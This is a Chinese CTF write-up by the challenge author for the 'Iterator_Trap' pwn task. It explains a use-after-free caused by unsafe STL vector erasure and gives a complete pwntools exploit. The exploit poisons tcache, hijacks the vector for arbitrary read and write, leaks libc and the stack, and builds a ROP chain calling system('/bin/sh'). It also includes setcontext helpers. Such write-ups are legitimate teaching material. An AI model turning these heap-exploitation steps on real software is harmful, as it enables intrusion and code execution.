nss3rd出题_Iterator_Trap解题思路
题目附件https://github.com/nyyyddddn/ctf/tree/main/nssr3d_Iterator_Trap/Iterator_Trap
Iterator_Trap
这是一个关于stl迭代器不安全使用导致uaf的漏洞,第一次出和stl相关的题目
题目逻辑
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
uint32_t choice; // [rsp+Ch] [rbp-54h] BYREF
std::vector<void*> chunklist; // [rsp+10h] [rbp-50h] BYREF
std::vector<int> sizelist; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-18h]
v6 = __readfsqword(0x28u);
std::vector<void *>::vector(&chunklist);
std::vector<int>::vector(&sizelist);
init();
gift();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &choice);
if ( choice != 3 )
break;
edit_func(&chunklist, &sizelist);
}
if ( choice > 3 )
break;
if ( choice == 1 )
{
create_func(&chunklist, &sizelist);
}
else
{
if ( choice != 2 )
break;
delete_func(&chunklist, &sizelist);
}
}
exit(0);
}
void __cdecl menu()
{
puts("[1] void create(__uint32_t size,char *content)");
puts("[2] void delete(__uint32_t idx)");
puts("[3] void edit(__uint32_t idx,char *content)");
printf(">>> ");
}
void __cdecl gift()
{
void *v0; // rax
v0 = sbrk(0LL);
printf("Welcome to nssctf 3rd. gift: %p\n", v0);
}
void __cdecl create_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
std::vector<int>::size_type v2; // rdx
__gnu_cxx::__alloc_traits<std::allocator<int>,int>::value_type v3; // ebx
std::vector<void*>::size_type v4; // rdx
char **v5; // rax
int size; // [rsp+1Ch] [rbp-24h] BYREF
std::vector<void*>::value_type __x[3]; // [rsp+20h] [rbp-20h] BYREF
__x[1] = (std::vector<void*>::value_type)__readfsqword(0x28u);
puts("size: ");
__isoc99_scanf("%d", &size);
__x[0] = malloc(size);
std::vector<void *>::push_back(chunklist, __x);
std::vector<int>::push_back(sizelist, &size);
puts("content: ");
v2 = std::vector<int>::size(sizelist) - 1;
v3 = *std::vector<int>::operator[](sizelist, v2);
v4 = std::vector<void *>::size(chunklist) - 1;
v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
my_fgets(*v5, v3, 0);
}
ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
size_t v4; // rdx
char ch_0; // [rsp+17h] [rbp-19h] BYREF
size_t total_read; // [rsp+18h] [rbp-18h]
ssize_t bytes_read; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
if ( size <= 0 || !buf )
return -1LL;
total_read = 0LL;
while ( total_read < size - 1 )
{
bytes_read = read(fd, &ch_0, 1uLL);
if ( ch_0 == 10 )
break;
v4 = total_read++;
buf[v4] = ch_0;
}
return total_read;
}
void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
std::vector<void*>::size_type M_current_low; // rbx
void **v4; // rax
int i; // [rsp+1Ch] [rbp-34h]
__gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
__gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
__gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF
idx[1]._M_current = (void *const *)__readfsqword(0x28u);
for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
{
if ( *std::vector<int>::operator[](sizelist, i) == -1 )
{
v6._M_current = std::vector<int>::begin(sizelist)._M_current;
__i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
__gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
(__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
&__i);
std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
__i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
(const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
i)._M_current;
__gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
idx,
(const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
std::vector<void *>::erase(chunklist, idx[0]);
}
}
puts("idx: ");
__isoc99_scanf("%d", idx);
if ( SLODWORD(idx[0]._M_current) >= 0
&& (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
{
v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
free(*v4);
*std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
puts("success");
}
else
{
puts("error");
}
}
漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。
gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell
或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell
劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "node7.anna.nssctf.cn"
PORT = 23086
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
def create(size,content):
sla(">>>","1")
sla("size:",str(size))
sla("content",content)
def delete(idx):
sla(">>>","2")
sla("idx:",str(idx))
def edit(idx,content = null):
sla(">>>","3")
sla("idx:",str(idx))
if content == null:
return
sa("content: ",content)
ru("gift: ")
heap_base = int(rl()[:-1],16) - 0x21000
success(f"heap_base ->{hex(heap_base)}")
create(0x58,"padding")
create(0x58,"padding")
for i in range(7):
create(0x48,"tcache")
for i in range(2**9+2**8):
create(-1, b"")
create(0x48,"fastbin")
create(0x48,"fastbin")
for i in range(7):
delete(2) # refill tcache
delete(5)
delete(4)
delete(2)
for i in range(7):
create(0x48,"tcahce") # clean up tcache
pos = heap_base + 0x120f0
vector_addr = heap_base + 0x14260 # &vector[0]
payload = (pos >> 12) ^ vector_addr
create(0x48,p64(payload))
create(0x48,"AAAAAAAA")
create(0x48,p64(payload))
create(0x48,p64(0x114514)) # 12
create(0x7b8,"unsortedbin")
create(0x58,"padding")
delete(13)
unsortedbin_fd = heap_base + 0x12a90
edit(12,p64(unsortedbin_fd))
edit(0,b"\xe0")
ru("success: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0
success(hex(libc_base))
environ = libc_base + libc.sym['__environ']
edit(12,p64(environ - 0x8))
edit(0,"A" * 8) # leak stack
ru("success: ")
ru("A" * 0x8)
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))
return_addr = stack - (0x7ffd2bf75cd8 - 0x7ffd2bf75b08) # read func
edit(12,p64(return_addr))
ret = libc_base + 0x00000000000baaf9
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
# g(p)
edit(0,payload)
p.interactive()